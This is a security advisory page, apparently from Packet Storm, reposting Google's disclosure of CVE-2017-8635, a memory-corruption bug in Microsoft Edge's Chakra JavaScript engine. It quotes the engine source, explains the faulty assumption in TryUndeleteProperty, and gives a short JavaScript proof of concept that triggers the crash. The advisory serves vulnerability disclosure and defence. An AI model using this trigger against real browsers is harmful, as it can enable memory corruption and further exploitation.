what you don't know can hurt you

Microsoft Edge Chakra TryUndeleteProperty Incorrect Usage

Microsoft Edge Chakra TryUndeleteProperty Incorrect Usage
Posted Aug 16, 2017
Authored by Google Security Research, lokihardt

Microsoft Edge Chakra suffers from an incorrect usage of TryUndeleteProperty.

tags | exploit
advisories | CVE-2017-8635
MD5 | 1f197a1d5f569cc871c7c7d4aebd5330

Microsoft Edge Chakra TryUndeleteProperty Incorrect Usage

Change Mirror Download
 Microsoft Edge: Chakra: Incorrect usage of TryUndeleteProperty 

CVE-2017-8635


Chakra implemented the reuse of deleted properties of an unordered dictionary object with the following code.

bool SimpleDictionaryUnorderedTypeHandler::TryReuseDeletedPropertyIndex(
DynamicObject *const object,
TPropertyIndex *const propertyIndex)
{
if(deletedPropertyIndex == PropertyIndexRanges<TPropertyIndex>::NoSlots)
{
return false;
}

*propertyIndex = deletedPropertyIndex;
deletedPropertyIndex = static_cast<TPropertyIndex>(TaggedInt::ToInt32(object->GetSlot(deletedPropertyIndex)));
return true;
}

bool SimpleDictionaryUnorderedTypeHandle::TryUndeleteProperty(
DynamicObject *const object,
const TPropertyIndex existingPropertyIndex,
TPropertyIndex *const propertyIndex)
{
...

if(!IsReusablePropertyIndex(existingPropertyIndex))
{
return false;
}

...

const bool reused = TryReuseDeletedPropertyIndex(object, propertyIndex);
Assert(reused);

...
return true;
}


BOOL SimpleDictionaryTypeHandlerBase<TPropertyIndex, TMapKey, IsNotExtensibleSupported>::SetPropertyFromDescriptor(DynamicObject* instance, PropertyId propertyId, TPropertyKey propertyKey, SimpleDictionaryPropertyDescriptor<TPropertyIndex>* descriptor, Var value, PropertyOperationFlags flags, PropertyValueInfo* info)
{
...
if (descriptor->Attributes & PropertyDeleted)
{
...
if(isUnordered)
{
TPropertyIndex propertyIndex;
if(AsUnordered()->TryUndeleteProperty(instance, descriptor->propertyIndex, &propertyIndex))
{
Assert(PropertyRecordStringHashComparer<TMapKey>::Equals(propertyMap->GetKeyAt(propertyIndex), propertyRecord));
descriptor = propertyMap->GetReferenceAt(propertyIndex);
}
}

if (IsNotExtensibleSupported)
{
bool isForce = (flags & PropertyOperation_Force) != 0;
if (!isForce)
{
if (!this->VerifyIsExtensible(scriptContext, throwIfNotExtensible))
{
return FALSE; <<------ (a)
}
}
}
...
descriptor->Attributes = PropertyDynamicTypeDefaults;
...
}
...
}

"TryUndeleteProperty" is calling "TryReuseDeletedPropertyIndex" on the assumption that the return value of it is always true. But if the method exits at (a), "descriptor->Attributes" will remain with "PropertyDeleted" set, and therefore we can call "TryUndeleteProperty" again and again until "deletedPropertyIndex" becames "NoSlots" which makes "TryReuseDeletedPropertyIndex" return false.

In the debug build, the PoC hits the assertion "Assert(reused);". In the release build, "propertyIndex" remains uninitialized, this will cause a memory corruption.

PoC:
const kNumProperties = 100;

let o = {};
for (let i = 0; i < kNumProperties; ++i)
o['a' + i] = i;

Object.preventExtensions(o); // IsNotExtensibleSupported && !this->VerifyIsExtensible

for (let i = 0; i < kNumProperties; ++i)
delete o['a' + i];

for (let i = 0; i < 0x1000; ++i)
o['a0'] = 1; // calling TryUndeleteProperty again again




This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    15 Files
  • 2
    Oct 2nd
    16 Files
  • 3
    Oct 3rd
    15 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    11 Files
  • 6
    Oct 6th
    6 Files
  • 7
    Oct 7th
    2 Files
  • 8
    Oct 8th
    1 Files
  • 9
    Oct 9th
    13 Files
  • 10
    Oct 10th
    16 Files
  • 11
    Oct 11th
    15 Files
  • 12
    Oct 12th
    23 Files
  • 13
    Oct 13th
    13 Files
  • 14
    Oct 14th
    12 Files
  • 15
    Oct 15th
    2 Files
  • 16
    Oct 16th
    16 Files
  • 17
    Oct 17th
    16 Files
  • 18
    Oct 18th
    15 Files
  • 19
    Oct 19th
    10 Files
  • 20
    Oct 20th
    7 Files
  • 21
    Oct 21st
    4 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close